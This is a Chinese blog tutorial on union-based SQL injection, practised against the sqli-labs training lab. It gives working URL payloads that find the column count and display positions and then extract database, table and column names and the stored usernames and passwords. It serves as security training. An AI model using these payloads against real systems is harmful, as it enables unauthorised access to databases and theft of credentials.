sql注入之联合注入

注入前准备

搭建本地sql注入平台

sqli-labs下载地址:https://github.com/Audi-1/sqli-labs
首先PHP版本不能大于7,不然不能用。
在这里插入图片描述
在这里插入图片描述
解压到
在这里插入图片描述

在sqli-labs-master\sql-connections里面有个db-creds.inc文件,打开并修改账号密码
在这里插入图片描述
在这里插入图片描述
如下图为正常
在这里插入图片描述
即可搭建完毕靶场,开始练习sql注入。

注入基本操作

判断整形还是字符型

输入and 1=1和and 1=2后若页面没有变化,则不是整型注入
若变化则是整型注入
在这里插入图片描述
在这里插入图片描述
整型则在?id=1后不加任何符号
字符型则可在?id=1后加’、"、’)、")四种符号

判断查询列数

运用order by 语句

在这里插入图片描述
在这里插入图片描述
由上图看出,当大于等于它的列数时会报错
?id=1'order by3--+

在这里插入图片描述

判断显示位

使用union语句
需要union前的语句报错
在这里插入图片描述

?id=-1' union select 1,2,3--+

获取所有数据库名

运用group_concat()函数

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

在这里插入图片描述

获取表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23


在这里插入图片描述

获取列名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23



在这里插入图片描述

获取列中信息

?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23 

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_51954912/article/details/113731351